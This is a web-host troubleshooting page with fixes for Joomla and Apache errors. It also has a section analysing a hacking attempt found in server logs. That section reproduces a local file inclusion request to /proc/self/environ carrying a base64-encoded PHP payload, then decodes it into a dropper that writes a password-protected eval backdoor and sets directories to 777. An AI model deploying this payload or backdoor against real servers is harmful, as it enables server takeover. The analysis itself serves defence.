xmap blank screen Joomla 3.2

Problem: XMAP displays a blank screen when you click on the sitemap in Joomla 3.2.* and higher, or it displays a Internal 500 error.

Solution: XMAP references a component that is no longer required in versions later than 3.2.*

Remove or comment out the following line from /components/com_xmap/helpers/xmap.php

REMOVE OR COMMENT OUT:  require_once(JPATH_SITE .’/includes/application.php’);

It should be in the top 7 lines of the php script.

JFolder::create: Infinite loop detected

SYMPTOMS: You are trying to install a plugin or component using the extension manager in Joomla 1.5 or higher and receive JFolder::create: Infinite loop detected

SOLUTION: Your TMP directory is not set correctly. In many server configurations open_basedir is set to a specific folder in your php.ini settings. Try changing the tmp directory path from /var/www/yoursite/httpdocs/tmp to just /tmp in the Joomla global configuration.

Options FollowSymLinks or SymLinksIfOwnerMatch is off which implies that RewriteRule directive is forbidden

Symptoms:Options FollowSymLinks or SymLinksIfOwnerMatch is off which implies that RewriteRule directive is forbidden

Either the .htaccess file is missing the followsymlinks option or another .htaccess is overriding the options.

NOTE: There are TWO Solutions to this problem, I recommend trying Solution #2 first.

Solution #1:


Options FollowSymLinks

RewriteEngine On
RewriteBase /

(Note: you must have “AllowOverride Options” in effect to permit the use of the “Options” directive in .htaccess files.)

If you are trying to access a pearl type file in a cgi-bin or other directory that does not require the rewrite rule, add an .htaccess file with RewriteEngine off.  This will prevent the above error from occurring.

It is best to add this solution to the httpd.conf file if you have access, the how-to on that file can be found here:


 Solution #2:

Modify the dir.conf in apache.

Step 1: From root SSH: vi /etc/apache2/mods-enabled/dir.conf

Step 2 Change:

DirectoryIndex at_domains_index.html index.html index.cgi index.pl index.php index.xhtml index.htm index.shtml index.cfm


DirectoryIndex at_domains_index.html index.html index.cgi index.php index.pl index.xhtml index.htm index.shtml index.cfm

A Simple change in order fixes the symlinks issue.

Special Thanks to XAMeLeOH for posting this for the community.

/proc/self/environ Server Log – Hacking Attempt

Symptom: Web server logs show entries similar to “GET /index.php?inc=../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0” 200 22702 “” ” ##php eval(base64_decode(\”YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfWVkNjllZDYwYmU0ODViYTFkY2QwMDc3MzRiODM2Y2E4LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCUFUxUmJKMlJoZEdFblhTa3BLVHNOQ2cwS2FXWWdLRUFoYVhOZllYSnlZWGtvSkdSaGRHRXBJSHg4SUcxa05TZ2taR0YwWVZzbmNHRnpjM2R2Y21RblhTa2dJVDBnSjJRelpHWTBNemxqTTJVMFlqSmpOREU1TWpCa09HVXlOek16TVRFek1qTTJKeWtnWlhocGREc05DbWxtSUNoQUpHUmhkR0ZiSjJOdlpHVW5YU2tnWlhaaGJDaGlZWE5sTmpSZlpHVmpiMlJsS0NSa1lYUmhXeWRqYjJSbEoxMHBLVHNOQ21sbUlDaEFKR1JoZEdGYkoyTm9aV05yWDJOdlpHVW5YU2tnY0hKcGJuUWdKR1JoZEdGYkoyTm9aV05yWDJOdlpHVW5YVHNOQ2cwS1B6ND0nKSk7DQoJZmNsb3NlKCRmcCk7DQoNCglpZiAoZmlsZV9leGlzdHMoInskZGlyfWVkNjllZDYwYmU0ODViYTFkY2QwMDc3MzRiODM2Y2E4LnBocCIpKQ0KCXsNCiAgICAgICAgJGNrID0gIjE4MjM2NDkzNjU4MjAzNTQiOw0KCSAgICBwcmludCAiJGNrOnsqfTokZGlyOnsqfToiOw0KCQlleGl0Ow0KCX0NCn0=\”)); ##”

Please note that the <? and > were removed for security reasons and replaced with ##

Description:  This is a poisoned null byte hacking attack, often conducted by bot’s. If the postfix null bytes are not handled correctly it can lead to an exploit in the system, this technique is called Local File Inclusion. In addition to the Local File Inclusion (LFI), this version is attempting to execute code by running a php statement that is encoded with Base 64.

If this attack is successful, it will result in the inclusion of the /proc/self/environ file or other requested file, instead of the originally requested file (index.php) in this case, in addition, the php script if run, will append its code to the original file and create a new file that will notify the hacker of success.

Lets delve a bit deeper here…  Anything prefixed with ## is a comment I inserted into the code. The Base 64 code within the Eval Statements translates to…:

$data = @opendir(‘.’);  ## We have data!!

while ($file = @readdir($data))  ## While we are reading the data… lets work on this…
$file = trim($file);
if (!$file || preg_match(‘/^\.+$/’, $file) || !is_dir($file)) continue;  ## If there is no file, or if it matches, or there is no directory for the file…  load another file…


function addLoader($dir = ”)
if ($dir) $dir .= ‘/’;  ##Try to set the root directory
@chmod($dir, 777); ## Set it to 777 which provides access to everything

$fp = fopen(“{$dir}ed69ed60be485ba1dcd007734b836ca8.php”, “w”);  ##Lets create the following file and write the contents too it.
fwrite($fp, base64_decode(‘PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4=’));
fclose($fp); ##again… we are encoded in base 64

if (file_exists(“{$dir}ed69ed60be485ba1dcd007734b836ca8.php”))
$ck = “1823649365820354”;
print “$ck:{*}:$dir:{*}:”;

##Here is our decoded Base 64


@ini_set(‘allow_url_fopen’, 1);  ##Lets override the standard PHP File
@ini_set(‘default_socket_timeout’, 60);  ##Now we have opened a socket
@ini_set(‘max_execution_time’, 60);

$data = @unserialize(base64_decode(trim(@$_POST[‘data’])));

if (@!is_array($data) || md5($data[‘password’]) != ‘d3df439c3e4b2c41920d8e2733113236’) exit;
if (@$data[‘code’]) eval(base64_decode($data[‘code’]));  ##If there’s data, lets check it out
if (@$data[‘check_code’]) print $data[‘check_code’];


Summary:  If successful, this exploit will bypass your PHP settings, set one of your directory’s to world access, and write a file with the above name .php and provide a backdoor to your server.


1. Consider using mod_security add on for Linux/Unix Servers

2. Use .htaccess files to prevent this kind of exploit

3. Use a firewall program to prevent unwanted access


Joomla: Proper permissions for configuration.php

Symptom: What is the proper permissions for Joomla’s configuration.php?

Solution: The proper setting is 0644

owner: read and write permissions,
group: only read permissions,
others: only read permissions.

To change from SSH/Telnet
: chmod 644 configuration.php

Always check the configuration.php permissions after a fresh install as some servers require it to be set to 777 prior to completing the configuration.